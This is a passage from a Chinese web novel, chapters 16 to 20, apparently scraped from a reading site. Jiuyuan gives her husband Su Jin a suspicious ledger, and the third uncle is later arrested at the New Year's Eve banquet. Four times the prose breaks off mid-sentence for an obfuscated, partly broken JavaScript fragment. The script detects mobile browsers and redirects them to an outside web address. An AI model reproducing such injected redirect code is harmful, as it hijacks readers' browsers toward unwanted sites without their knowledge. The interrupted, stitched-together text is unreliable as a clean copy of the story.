玖鸢忽然觉得，姓何的交与她那本册子，此刻犹如一个烫手山芋，弄得她竟是越发进退维艰了。 16. 瑾爷 嘉禧堂的家宴，于夜里子时终于结束。 丝竹声歇，灯火渐阑，宾客们三三两两告辞离去，寒暄声中夹杂着酒意与各自的心思。 玖鸢随着人流走出嘉禧堂，冰冷夜风夹杂着未散酒气扑面而来，让她因方才惊变而有些纷乱的心神为之一清。 玖鸢很感念苏瑾今晚意外帮她，她原以为苏瑾是极不在意她存在的，以为即便她是他夫人，即便她是以大奶奶身份和他坐在一块，也定是他不太喜欢的。 但是今晚家宴上那场突发小插曲，苏瑾及时出手，且替玖鸢解了围，在众目睽睽之下，他并非全然无视玖鸢存在。 然而，这份并非无视背后，是审视还是利用，还是一丝微乎其微的维护，玖鸢不敢深想，亦无法确定。 回到砚澜轩，铃兰一边为玖鸢卸下钗环，一边仍是心有余悸：“小姐，方才真是吓死奴婢了。幸好瑾大爷出手快，您说瑾大爷他是不是……” 铃兰欲言又止。 “慎言。”玖鸢打断铃兰话，目光透过铜镜，看向镜中自己过于清亮的眸子，“今日之事，不过是意外。瑾爷行事，自有他的道理，非我等可以揣度。” 铃兰噤声，不敢再多言。 卸去华服珠翠，换上素雅寝衣，玖鸢却毫无睡意。 窗外月色清冷，映着残雪，将庭院照得一片朦胧。 何管事拿来的那本册子，如同一块烫手山芋，在玖鸢心头不断萦绕挥之不去。 还有今晚二房组织的这场家宴，家宴上三老爷苏慎元话里话外都扬言要与秦家宴秦家紧密合作，夫君苏瑾呢看似平静无波，不过眼神之处微不可见之锋芒，或许只有玖鸢敏锐地捕捉到了。 这一切如同走马灯般，在玖鸢脑海之中来回旋转，让她清晰地意识到，苏府这潭水下暗流，已到了即将喷薄的边缘。 而她自己，眼下手握可能掀起惊涛骇浪的册子，再想独善其身，已是痴人说梦。 何均将册子交给她，是祸水东引，亦是将选择的主动权交到了她手中。是继续隐忍，等待不知何时会降临的灭顶之灾，还是主动出击，将这浑水搅得更浑，或许能于乱中觅得一线生机。 玖鸢想起母亲临终前那双不甘的眼眸，想起沈家冰冷祠堂与嫡母姐妹刻薄嘴脸，想起自己代嫁离家时那份决绝，她沈玖鸢，从来就不是坐以待毙之人。 机会，往往稍纵即逝。而今晚，苏瑾那意味深长一瞥，或许就是她等待的契机。 “铃兰，”玖鸢忽然开口，声音在寂静夜里格外清晰，“去将我那件墨狐毛领的斗篷取来。” 铃兰一愣：“小姐，这么晚了，您还要出去？” “嗯，”玖鸢起身，走到书案前，将那本至关重要的册子取出，用一方素锦仔细包好，纳入袖中，“我去一趟外书房。” 铃兰惊得瞪大了眼睛：“外书房？小姐，那是瑾爷处理公务的地方，夜深人静，您去那里，怕是不合规矩，惹人闲话……” “规矩？”玖鸢唇角勾起一抹极淡带着冷意的弧度，“在这苏府，有些时候，打破规矩，或许才能找到生路。”她顿了顿，看向铃兰，“你留在院里，若有人问起，便说我已歇下。” 铃兰看着自家小姐不容置疑的神情，终是将劝诫话咽了回去，默默取来斗篷，为她系好。 夜色深沉，寒风刺骨。玖鸢拢紧了斗篷，独自一人，踏着清冷月光与未化积雪，穿过一道道寂静回廊，朝着位于苏府前院与外院交界处的墨韵斋走去。 那里，是苏瑾平日处理外务，会见心腹属下的地方。 越靠近墨韵斋，周遭便越是安静，只余下玖鸢踩在雪地上发出的轻微咯吱声，以及自己清晰可闻的心跳。 书房院落外有小厮值守，见到玖鸢深夜前来，皆是面露讶异，却不敢阻拦，只躬身行礼，低声通传。 片刻，书房那扇沉重的紫檀木门被从内打开，暖黄光线流淌而出，是随伺在苏瑾身边的书童容三。 容三见到玖鸢，眼中亦是闪过一丝意外，随即躬身道：“大奶奶，您怎么来了？瑾爷正在里面处理公务。” “我有要事，需面见瑾爷，烦请通传。”玖鸢身子端正直立，透着一种上位者的冷冽，令的容三不敢小觑。 容三犹豫了一下，还是侧身让开：“大奶奶请稍候。”他转身入内禀报。 玖鸢站在廊下，寒风卷着雪沫拂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687993|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过她面颊，带来刺骨凉意。她能听到自己胸腔内那颗心，正不受控制地剧烈跳动着。这一步踏出，便再无回头路。 不多时，容三出来，躬身道：“大奶奶，瑾爷请您进去。” 玖鸢深吸一口气，定了定神，迈步踏入这间象征着苏府权力核心之一的书房。 书房内极为宽敞，地上铺着厚厚的西域地毯，四壁皆是顶天立地的书架，塞满了各类典籍账册。 空气中弥漫着淡淡墨香与檀香。 苏瑾正坐在一张宽大紫檀木书案之后，案上堆满了文书账册，一盏精致琉璃灯盏散发着明亮而柔和光线，将他清俊侧脸勾勒得愈发深邃。 苏瑾并未抬头，手中执着一支狼毫笔，正在一份文书上批注着什么，仿佛她的到来，并未打断他思绪。 “夫君。”玖鸢敛衽行礼，声音在空旷书房内显得格外清晰。 苏瑾并未立刻回应，直到笔下最后一个字落成，他才缓缓放下笔，抬眸看向玖鸢。 苏瑾目光沉静如水，落在玖鸢裹着墨狐斗篷，更显得脸蛋白皙剔透的身上，最后定格在她那双努力维持平静，却依旧泄露出几分紧张与决然的眸子里。 “深夜来访，所为何事？”苏瑾终于开口，声音平淡，听不出情绪，却自有一股无形压力弥漫开来。 玖鸢迎着苏瑾目光，没有退缩。她缓缓从袖中取出那个用素锦包裹的册子，双手奉上，置于书案之上。 “妾身偶然得此物，其中记载，关乎苏家与外姓往来，涉及银钱数目巨大，且有些许不合常理之处。妾身愚钝，不敢擅专，特来请夫君过目定夺。”玖鸢言辞谨慎，并未直接指控谁，只将册子作为不合常理的疑点呈上。 苏瑾目光落在那个素锦包裹上，并未立刻去拿。 “偶然得之？”苏瑾重复了一遍这四个字，语气微扬，带着一丝若有若无疑惑，“从何处得来？” 玖鸢心头一紧，知道这才是关键。她若供出何均，以苏瑾的手段，何均恐怕凶多吉少。 她沉默片刻，终是抬起眼，目光清正地看向苏瑾：“来源暂且不便明言。妾身只问夫君，此物所载，是真是假。于苏家，是福是祸？” 17. 年关 玖鸢将问题抛了回去，同时也微不可见地隐约流露出，自己保护信息来源的态度。 苏瑾看向玖鸢，那双深邃眸子里，终于掠过一丝极淡类似欣赏的光芒，但转瞬即逝。他不再追问来源，而是伸手解开素锦，露出了里面边缘破损浸染过水渍的册子。 苏瑾并未立刻翻阅，只拿起册子，在手中掂了掂，仿佛在估量它的分量。然后，他才缓缓翻开，一页页看了下去。 书房内再次陷入一片死寂，只有苏瑾翻动纸页的沙沙声，以及窗外偶尔呼啸而过的风声。琉璃灯盏的光线在苏瑾脸上投下明明暗暗光影，使得他此刻的神情，愈发显得高深莫测。 玖鸢屏息凝神地站着，能清晰听到自己如擂鼓般的心跳声，时间仿佛被无限拉长，每一瞬都如同在刀尖上煎熬。 不知过了多久，苏瑾终于合上册子，将其轻轻放回案上。 他抬起眼，目光重新落在玖鸢身上，那目光里，已没了方才的淡漠疏懒，取而代之是一种莫测高深。 “你可知，此物若流传出去，于苏家意味着什么？”苏瑾缓缓出声，声音不高，却字字千钧。 玖鸢迎着他目光，毫不避让：“妾身不知全部，但知其凶险。故而，未曾示于第二人眼。” “哦？”苏瑾眉梢微挑，“那你为何不将其毁去，一了百了。反而要送到我面前？” 玖鸢深吸一口气，一字一句道： “因为妾身以为，骨肤之腐，遮之掩之，只会令其溃烂流毒，损及根本。唯有剜除腐肉，清源正本，方能保家宅长久安宁，妾身虽力微，亦不愿见苏氏门楣为宵小所累。” 玖鸢这番话，说得不卑不亢，且似深明大义，她字字句句都拿苏家长久安宁说事，身为长媳，她觉得自己必与苏家荣辱与共，也不知她这份心意，苏瑾能听懂几分。 苏瑾静静地听着，眸中神色变幻不定。 他看着玖鸢，这个名义上的妻子，这个来自北地看似柔弱，却屡屡出乎他意料的女人。她有着惊人美貌，更有超乎寻常的冷静，敏锐与胆识。 良久，苏瑾忽然轻笑了一声，笑声极低，却打破了书房内凝滞的气氛。 “好一个剜除腐肉，清源正本。” 苏瑾站起身，绕过书案，走到玖鸢面前。高大身影带来一股迫人压力，玖鸢几乎能闻到他身上那股清冽的剑兰气息，混合着一丝淡淡属于权力的冷硬。 苏瑾伸出手。 玖鸢以为苏瑾要拿那本册子，却不料他竟是抬手轻轻拂过她斗篷领口沾染的一点雪沫，动作带着一种难以言喻的突兀与亲昵。 “此事，我已知晓。”苏瑾收回手，目光深沉地看着玖鸢，“你做得很好。今夜之后，闭门谢客，安心准备年节之事，外面一切风雨，自有我去处置。” 苏瑾没有承诺什么，也没有解释什么，但这寥寥数语，却让玖鸢惊喜不已，原来，苏瑾其实也并没有表面那样不近人情，看来她今晚算是来对了。 将册子交到苏瑾手上，玖鸢心中那块悬着的巨石，终于稍稍落下。 玖鸢知道，自己赌对了。苏瑾接下了这个烫手山芋，也意味着，他默许了她踏入这权力棋局的边缘。 “是，妾身明白了。”玖鸢再次敛衽行礼，这一次，心绪已然不同。 “回去吧。”苏瑾转过身，重新走向书案，背影挺拔而孤峭，“夜露深重，小心着凉。” “是，妾身回去了。” 玖鸢最后看了一眼置于案头的册子，以及苏瑾沉静如山的背影，不再多言，悄然退出了书房。 踏入寒冷夜色中，玖鸢不由回望灯火通明的墨韵斋，知道从今夜起，她与这位心思深沉的夫君之间，那层无形隔膜已被打破，一种新的更为复杂也更为危险的关系，已然确立。 而苏府的天，恐怕很快，就要变了。 腊月三十，除夕。 苏府上下早已被妆点得焕然一新，朱漆大门上贴着崭新门神与春联，廊连下悬挂着大红灯笼，连庭院中光秃的树枝上也系着彩绸，处处彰显着鼎盛之家的富贵与喜庆。 仆从们脚步轻快，脸上带着节日笑意，空气中弥漫着炮竹燃放后的淡淡硝烟味，厨房飘来丰盛食物香气，交织成一股独属于年关的热闹而忙碌氛围。 然而，这份热闹之下，却涌动着只有少数人才能感知到的紧张暗流。 自那夜玖鸢叩响墨韵斋书房门，将那份要命册子交到苏瑾手中之后，苏府表面看似一切如常，内里却仿佛有一根无形的弦，悄然绷紧。 砚澜轩内，玖鸢依着苏瑾那夜的吩咐，对外只称染了轻微风寒，需静养几日，实则闭门不出，连晨昏定省也暂且免了。 她每日里不过看看书，做些针线，或是透过窗棂，静观庭院中积雪消融、腊梅吐蕊的景象，姿态闲适得仿佛真是一位安心养病的新妇。 只有贴身伺候的铃兰能察觉到，自家小姐看似平静的眉宇间，偶尔会掠过一丝极淡凝重。 玖鸢在等，等苏瑾有所作为，等必然将会到来的风波。 除夕这日的重头戏，是晚上团圆家宴与守岁，依照规矩，苏府各房主子皆需出席，玖鸢自然也不例外。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695255|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >傍晚时分，玖鸢仔细梳妆，依旧择了一身不算扎眼却也足够端庄的锦缎袄裙，颜色是蜜合色，上面绣了淡折枝玉兰，发间簪了赤金点翠步摇并两朵新巧的宫花，薄施脂粉，掩去了连日思虑可能有的些许憔悴。 家宴定在荣禧堂举办，等玖鸢跟着下人们踏入荣禧堂时，厅内已是济济一堂，笑语喧闹。 巨大紫檀木圆桌上铺着猩红团花桌围，上面已摆满了冷盘果碟，银筷玉盏，流光溢彩。 上首坐着老太太，老太太今日穿了赭红色五福捧寿纹的吉服，精神看着尚可，只是眼神扫过下方时，比往日更显深沉。 大太太林氏坐在老太太左下首，穿着绛紫色金通袖袄，神色依旧带着惯有的疏淡，只是眉宇间那缕郁色，似乎因年节的热闹冲淡了些许。 二太太王氏依旧是未语先笑，与身旁妯娌说着话。三太太赵氏今日穿着一身石榴红牡丹衣裙，裙上遍是织金缠枝，珠翠环绕，显得格外明艳张扬，正与身旁的三老爷苏慎元低声谈笑。 苏瑾与二房、三房的几位爷们坐在另一处说话，他今日亦是一身玄色锦袍，领口袖缘以金线绣着繁复云纹，衬得他面容清俊，气度沉凝。他似乎并未注意到玖鸢到来，只偶尔与二叔苏恪元交谈几句，神色平静无波。 玖鸢依序向老太太及各位长辈请安后，便被引至女眷一席坐下，位置恰在三房大小姐苏恬身旁。 苏恬今日打扮得也十分娇艳，见到玖鸢，只从鼻子里轻轻哼了一声，便扭过头去与另一旁的堂姐妹说话，态度倨傲依旧。 宴席开始，珍馐美馔如流水般呈上，觥筹交错，丝竹管弦之声不绝于耳。众人说着吉祥话，互相敬酒，场面一派和乐融融。 酒至半酣，气氛愈加热络。 三老爷苏慎元显然心情极佳，多饮了几杯，面泛红光，又开始高谈阔论起来，这次说的是开春后准备与几位江南世族联合，组建船队，开拓海外贸易的宏图。 “这一次若能成事，利润何止十倍。届时，我苏家便是这江南商界的执牛耳者！”苏慎元意气风发，举杯邀饮。 二老爷苏恪元依旧持重，只委婉提醒：“海外风波险恶，且需打点关节众多，三弟还需从长计议。” “二哥未免太过谨慎！”苏慎元不以为然地摆手，“如今我们与秦家合作顺畅，秦家在西境乃至西域皆有门路，借其势力，海外之路，指日可待！”他又一次提到了秦家。 这一次，老太太拨动佛珠的手明显顿住了，抬起眼皮，目光沉沉地看了苏慎元一眼。 大太太林氏似乎也略微皱了下眉。 18. 盛宴 玖鸢垂眸，执起面前的甜白釉酒盅，浅啜了一口温热屠苏酒，辛辣中带着微甜口感在舌尖蔓延，她差点呛出声音来。 但玖鸢努力忍住了，自小受母亲悉心教导，她三岁便习了琴棋，五岁入席时掩口入食，从不敢发出半点声响。 虽然沈家苛待她们母女，将玖鸢身份踩到屑小尘埃，但玖鸢一直努力去学大家闺秀的仪态礼数，再加上暗地里习了无数诗书史卷，所谓腹有诗书气自华，倒练就了太多从容气度。 玖鸢啜了几小口酒，便挟箸执其它佳肴，每样只略微尝了几口，她能感觉到，席间原本热闹气氛，因苏慎元再次提及秦家，而有了瞬间微妙凝滞。 然而也仅只是刹那而已，丝竹管弦之声埏郦而来，因了今天是大节，依照习俗，金陵各大商户图个吉利图个彩头，都会请花堂女伶青衣们来唱戏，烘托节日气氛。 此刻堂上正在咿咿呀呀在唱一折子戏拜寿，击鼓传花，丝弦契合，堂下满室琳琅贵食，端的是富足安宁。 众人皆是春风满面，就连一向郁郁寡欢的大太太林氏，此刻也难得地唇角掩过几缕笑意。 老太太饭量轻，便只尝了几口宫里赏来的几样茶点，还有一盅土茯苓煲龙骨汤，便由丫环嬷嬷们环伺着净手漱口，然后专注地看戏去了。 三老爷苏慎元已经转而和二老爷苏恪元低声交谈，各房大小主子们笑意盎然，三太太赵氏正在向二太太王氏展示自己一款手镯，那是西境来的最新款式，即便是宫中那些显贵主子太太们，恐怕也未必能见识到这种镯子。 所以三太太这是在显摆么，二太太王氏一边奉承三太太，一边在内心极度怀疑三老爷苏慎元借着外务便利，大约是在中饱私囊。 此刻玖鸢也已经由铃兰和另一个小婢女伺候着，净了手漱了口，正在淡定自若小口小口饮茶。 就在这时，一个穿着体面管事模样的人，神色匆匆从厅外疾步而入，绕过欢宴人群，径直走到主桌旁，对着苏瑾耳语了几句。 苏瑾原本平静的神色未变，只眼底掠过一丝极淡冷芒。他微微颔首，示意知道了，那管事便又匆匆退下。 这小插曲并未引起太多人注意，宴席依旧在继续。 然而，不过一炷香功夫，忽听得荣禧堂外传来一阵不小骚动，夹杂着几声惊呼与呵斥。厅内丝竹声不由得停了下来，所有人都诧异地望向门口。 只见方才离去的那名管事去而复返，身后还跟着四名身着皂隶服色，腰佩朴刀的官差。 为首是一名面色冷峻捕头，他目光如电，扫过满堂锦衣华服众人，最后定格在三老爷苏慎元脸上，抱拳沉声道： “苏三老爷，打扰了。府上码头货栈管事唐瑞，涉嫌勾结外人，倒卖朝廷管制之物，人赃并获。现奉府衙之命，请三老爷过府，协助调查。” “哗——！” 满堂皆惊，歌舞升平的盛宴气氛，瞬间被这突如其来消息炸得粉碎。 唐瑞竟然倒卖管制之物，这，岂不是杀头之罪？ 所有人目光，刹那间全都聚焦在面色骤变的苏慎元身上。他方才还红光满面的脸，此刻已是一片煞白，手中酒杯“哐当”一声掉在地上，摔得粉碎。 “胡说八道！”三太太赵氏猛地站起身，声音尖利，带着难以置信的惊恐，“唐瑞他，他怎么可能，你们这是诬陷！” 捕头面色不变，语气公事公办：“是否诬陷，府尊大人自有公断。还请苏三老爷莫要让我等为难。” 苏慎元浑身发抖，嘴唇哆嗦着，似乎想说什么，却一个字也吐不出来。他下意识地看向苏瑾，眼神中充满了慌乱与求助。 苏瑾缓缓站起身，他神色依旧平静，只是那双深邃眸子里，此刻已凝满了冰霜。他看向捕头，声音不高，却带着不容置疑的威势： “王捕头，今日乃除夕佳节，府中正在团聚。三叔身为苏家主子，岂是你说带走便能带走的？即便有事，也需有府衙正式公文，待明日……” “大少爷，”王捕头似乎对苏瑾颇为忌惮，语气缓和了些，却依旧坚持，“此案事关重大，人犯唐瑞已当场招认部分罪行，并攀扯出一些内情。府尊大人有令，需即刻请三老爷过堂问话。这是拘票，请过目。” 说着，王捕头从怀中取出一张盖着金陵府尹大印的文书。 苏瑾接过拘票，目光快速扫过，眸色更沉。他沉默了片刻，终是将拘票递还给王捕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701490|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，淡淡道： “既如此，苏家自当配合。只是，”他话锋一转，目光锐利如刀，“若事后查明乃是诬告，或是有人滥用职权，我苏家，也绝非任人拿捏之辈。” 王捕头神色一凛，躬身道：“大少爷放心，我等只是依律行事。” 苏瑾不再多言，只对面色灰败几乎站立不稳的苏慎元道： “三叔，且随他们去一趟吧。清者自清，苏家的讼师，稍后便会到府衙。” 事情发展到这一步，已是无可转圜，苏慎元在三太太赵氏凄惶哭喊声中，被两名官差请了出去。荣禧堂内，死一般寂静。 方才还热闹非凡的宴席，此刻只剩下满桌狼藉与一室惊惶未定的面孔。 老太太闭着眼，手中佛珠拨得飞快，脸色阴沉得能滴出水来。 大太太林氏扶了额头，似是不忍再看，二房众人皆是面面相觑，神色复杂。而三房的女眷们，早已是哭作一团。 玖鸢安静地坐在自己位置上，能清晰地听到自己心脏在胸腔里剧烈跳动的声音。她知道，这就是苏瑾的反击，快、准、狠。 选择在除夕夜，在全家团聚之时发难，不仅是要坐实唐瑞罪名，更是要将三房，尤其是三老爷苏慎元，彻底钉在耻辱柱上。 那本册子，便是最关键的证据之一。 玖鸢下意识地抬眼，望向站在厅中，身姿依旧挺拔如松的苏瑾，他仿佛感应到她目光，也恰在此时，转眸向她看来。 隔着喧嚣过后的短暂沉寂，隔着满堂惊惶各异眸光，两人视线在空中短暂交汇。 苏瑾眼神深邃如古井，平静无波，却仿佛蕴含着雷霆万钧之后的风暴余韵。 而玖鸢眉眼之中，恭谨柔顺，眸中有浅浅震撼，也有懂得，了然，似乎想给苏瑾一点并肩倚靠的传递，总之一万个心思，这之中也有隐秘的惊恐。 毕竟，这豪门生活真的是有点惊心动魄，她选择站在苏瑾这边，恐怕也不仅仅觉得他是她夫君。 苏瑾应是接收到了玖鸢传递的信息，并以一种她未曾预料到的，如此激烈而彻底的方式，做出了回应。 苏府的天，就在这除旧迎新爆竹声中，被一道惊雷，悍然劈开。 19. 落子 除夕夜的变故，并未随着旧岁逝去而消散，苏府上上下下皆焦灼不安。 因了三老爷苏慎元被官府突然带走，一场欢宴顿时哀戚涟涟，荣禧堂家宴仓促中断，不欢而散，苏府上空雾霭重重，新年第一天流年不利。 苏府大年初一，依祖礼需开祠堂祭祖，然后各房互相拜年。然而，今年的初一，苏府上下却笼罩在一片重重寂静之中。 祠堂依旧开了，香烛依旧点了，但在场所有人的脸色，都如同祠堂外未曾融尽的积雪，带着挥之不去寒意。 老太太由宋嬷嬷和大太太林氏一左一右搀扶着，全程脸色铁青，未曾言语一句，只在祖宗牌位前上了香，便借口精神不济，由人扶回了柏草堂。 三房所在的栖云阁，更是门户深锁，如同被遗弃的孤岛，下人进出皆是屏息凝神，面带惶恐。三太太赵氏据说自昨夜起便病倒了，未曾露面。 昨日还意气风发的三老爷苏慎元，此刻正身陷府衙，前途未卜，生死难料。这突如其来的变故，不仅击垮了三房的顶梁柱，更让所有与三房关系密切的管事仆从，人人自危。 玖鸢依旧称病，未曾前往祠堂，也未去各房拜年。 砚澜轩内，她临窗而坐，手中捧着一卷书，目光却并未落在字上。窗外天色阴沉，如同此刻苏府般人心惶惶。 铃兰轻手轻脚进来，换了热茶，低声道： “小姐，外头乱糟糟的，听说老太太回去后便大发雷霆，摔了一套最喜欢的甜白釉茶具，连宋嬷嬷都挨了训斥。太太那边，也是愁云惨淡的，几位依附三房的管事跑去求见，都被挡了回去。” 玖鸢“嗯”了一声，并不意外。 苏瑾此举，无异于在苏府这潭看似平静的水里投下了一块巨石，掀起的波澜，足以让所有依附于旧有秩序的人感到恐慌与愤怒。 老太太这滔天怒火，既是愤恨三房的不争气，恐怕也夹杂着对苏瑾如此不留情面，在年节期间悍然动手的不满与忌惮。 “栖云阁那边呢？”玖鸢放下书卷，问道。 “更是不得了，”铃兰压低声音，带着几分后怕，“听说三太太哭晕过去好几次，醒来就砸东西，骂大少爷狼子野心，不顾亲情，还隐约提到什么过河拆桥、卸磨杀驴，难听得很。几位小姐少爷也是哭哭啼啼的，乱作一团。” 三太太何以会说出这种话，所谓过河拆桥，卸磨杀驴，究竟是在怨怼谁呢，玖鸢不由心中微动。 或许也是三房遭此变故，气极之下随口就放出话污蔑苏府其他主子们，但也不排除三太太赵氏或行无意中透露了什么。 三房与秦家紧密合作，莫非并非单纯的生意往来，其中还牵扯了苏瑾不便言明，甚至需要借三房之手去做的隐秘？ 或者退一步讲，莫非如今事态眼看失控，苏瑾便果断弃车保帅，甚至反过来将三房推出去顶罪？ 若真如此，那苏瑾的心机与手段，未免太过深沉可怕。 想及此，玖鸢不禁背上寒意遽然而至，这个想法令的她瞬间惊骇至极。 她知道自己不该如此妄自怀疑苏瑾，毕竟他是自己夫君，虽然二人还没有真正意义上圆房，但名义上，她依旧是苏府大奶奶。 这个身份，是身为苏家大少爷苏瑾给与她的。 所以她怎么可能妄自揣测于苏瑾呢。 玖鸢一容皎白上，掠过一抹自责，将手上那些年下往来册子，一件件整理。 正思忖间，院门外传来轻轻叩门声，铃兰前去应门，片刻后回来，手中多了一张素雅花笺。 “小姐，是二夫人身边的绮云姐姐送来的，说是二夫人请您得空时，过去品茶说话。”铃兰将花笺呈上。 玖鸢接过，展开一看，上面是王氏惯用的簪花小楷，言辞恳切，只说是新得了些好茶，请她过去尝尝，散散心。落款处还画了一株小小的俏皮兰花。 在这个时候，二太太王氏的邀请，意味深长。是想探听虚实，还是有意示好，甚至结盟，都有可能。 玖鸢沉吟片刻。 她如今名义上是病着，不宜过多走动，但二房的面子也不能不给，况且，她也需要更多了解府中如今局势。 “去回话，说我稍后便到。” 稍作整理，玖鸢依旧是一身素净装扮，披上斗篷，带着铃兰，往二房所在的锦绣阁而去。 锦绣阁内温暖如春，与外面肃杀寒冷截然不同。二太太王氏今日穿着一身杏子穿花云锦袄，上面缀着缕金百蝶，神色虽也带着几分凝重，却不似旁人那般惶惶，见到玖鸢未语先笑，亲热地拉玖鸢坐下。 “好孩子，快坐。知道你身子不适，本不该打扰，只是这府里，唉，实在是闷得慌，想着请你来说说话，散散心。” 二太太王氏亲自执壶，为玖鸢斟上一盏香气馥郁的碧螺春。 茶是顶好的皇家碧螺春，汤色清亮，香气高扬。玖鸢谢过，浅啜一口，赞道：“二婶这里的茶，总是最好的。” 王氏笑了笑，笑容里带着几分不易察觉的试探：“茶是好茶，只可惜这品茶的心境，却是大不如前了。谁能想到，这大过年的，竟闹出这等事来，真是……”二太太说着叹了口气，没有再说下去，目光却意有所指地看着玖鸢。 玖鸢放下茶盏，垂眸看着杯中沉浮茶叶，语气温和而淡然。 “世事难料，福祸相依。祖母常教导，家族兴衰，系于规矩法度，若有人行差踏错，触犯家规国法，自有其应得之果。我们做晚辈的，谨守本分便是。” 玖鸢这话，说得滴水不漏，且无比大义凛然，她并不想特意指责三房大小主子们，至于苏慎元到底干了哪些违禁事，或者亏空了苏家多少利益，这都不是她该妄议之事。 她只是极为堂皇地，也可以说她自己很圆滑，讲了一些做人本份而已。 王氏乍一听觉得玖鸢这话说的没毛病，且字字都彰显豪门主子该有的气度，不过冠冕堂皇话谁不会说，真正骨子里谁又能知道谁是人是鬼，她颇有些不甘地： “侄媳妇你这话没毛病，不过这规矩法度，也要看由谁来执掌，瑾哥儿这次的手段，未免太过凌厉了些，只怕会寒了人心。” 王氏顿了顿，压低声音，“听说昨夜那唐瑞在府衙，攀咬了不少人，连我们二房名下一处绸缎庄管事，都牵扯了进去，说是曾经经手过一些来路不明的杂货……” 二太太王氏说及此处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707292|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不免就脸色煞白了一下子。 三老爷苏慎元已经被官府押走，唐瑞又在乱咬人，那万一自家夫君苏恪元有什么不周不备，不是随时也面临灭顶之灾。 所以二太太不能不惊恐万分，但是在玖鸢面前又不能表现到太过明显。 玖鸢闻言心中一动，面上却露出恰到好处的讶异：“竟有此事？可要紧？” “要紧倒不算十分要紧，”王氏立刻将那些不安生生压下，换了一副轻松口气道： “幸好我们二房这边管事机灵，留了当初三房那边强压下来的条子，这才撇清了干系。只是想想，也真是后怕。若没有那纸条，岂不是要被冤了。” 二太太说着拍了拍胸口，目光再次落到玖鸢身上，带着几分推心置腹的意味，“瑾哥儿媳妇，二婶知道你是个明白人。如今这府里，风云变幻，我们这些做长辈的，有时候也是眼花缭乱。你跟在你婆婆和瑾哥儿身边，见识又多，日后若有什么风吹草动，还望你能提点二婶一二。” 二太太亲自又给玖鸢续上热茶，一脸笑意盈盈，表示着恰到好处的知己和体恤。 二太太不知道玖鸢能不能感应到，但是她就是努力地表演着。 如今在苏府虽说各房都不是好惹的，但权力中心在大房长子苏瑾这儿，而且苏瑾和朝堂权臣也能说上话，不比二房和三房这边，消息到底是闭塞了些。 再一个，二太太王氏也极有意寻求大少爷两口子庇护，或者有朝一日和玖鸢苏瑾结盟。 三房倒台已成定局，二房也是急于在新的权力格局中，找到自己位置，甚至想借玖鸢这条线，搭上苏瑾。 玖鸢心中清明，面上却依旧是一副温婉模样。 “二婶言重了。侄媳年轻识浅，不过是遵从祖母和婆婆教导，恪守本分罢了。府中大事，自有祖母、婆婆和夫君做主，孙媳岂敢妄加议论。至于提点，更是折煞侄媳了。” 玖鸢再次将话挡了回去，态度谦逊，却立场分明。 王氏看着玖鸢沉静如水眸子，知道眼前这女子绝非易与之辈，绝非几句好话，一点小恩小惠所能打动。她笑了笑，不再强求，转而说起些金陵城中的年节趣闻，气氛似乎又恢复了之前的融洽。 在锦绣阁坐了约莫半个时辰，玖鸢便起身告辞。 回去路上，寒风依旧凛冽，玖鸢拢了拢斗篷，心中思绪翻涌。 随着三房崩塌，苏家上下一下子人心惶惶，就连一向在苏府游刃有余的二太太王氏，都坐卧不安到处打探消息。 还有老太太，这几天更是深居简出，就连例行的晨省也下令暂时免去，恐怕是心情不好，也不想见着这些晚辈们。 没想到何管事送来一本册子，竟引起苏府掀天移山般暴力冼盘，而这一切风暴的中心，那个始终沉静如山的男人，此刻又在想什么呢。 他下一步，又会如何落子？玖鸢真的无比好奇。 玖鸢抬头，望向前院墨韵斋方向，那里烛火隐隐约约发散出来，在墨黑沉沉的苏府，这些烛火虽说也极为微弱，也遍是生人勿近的无声气场，但到底墨韵斋主人是她夫君，哪怕是就远远看着墨韵斋方向，玖鸢也瞬间有了一丝丝安宁和底气。 20. 掌棋 正月里的日子，便在一种表面按部就班，内里却暗潮汹涌的惶惑之中，一天天滑过。 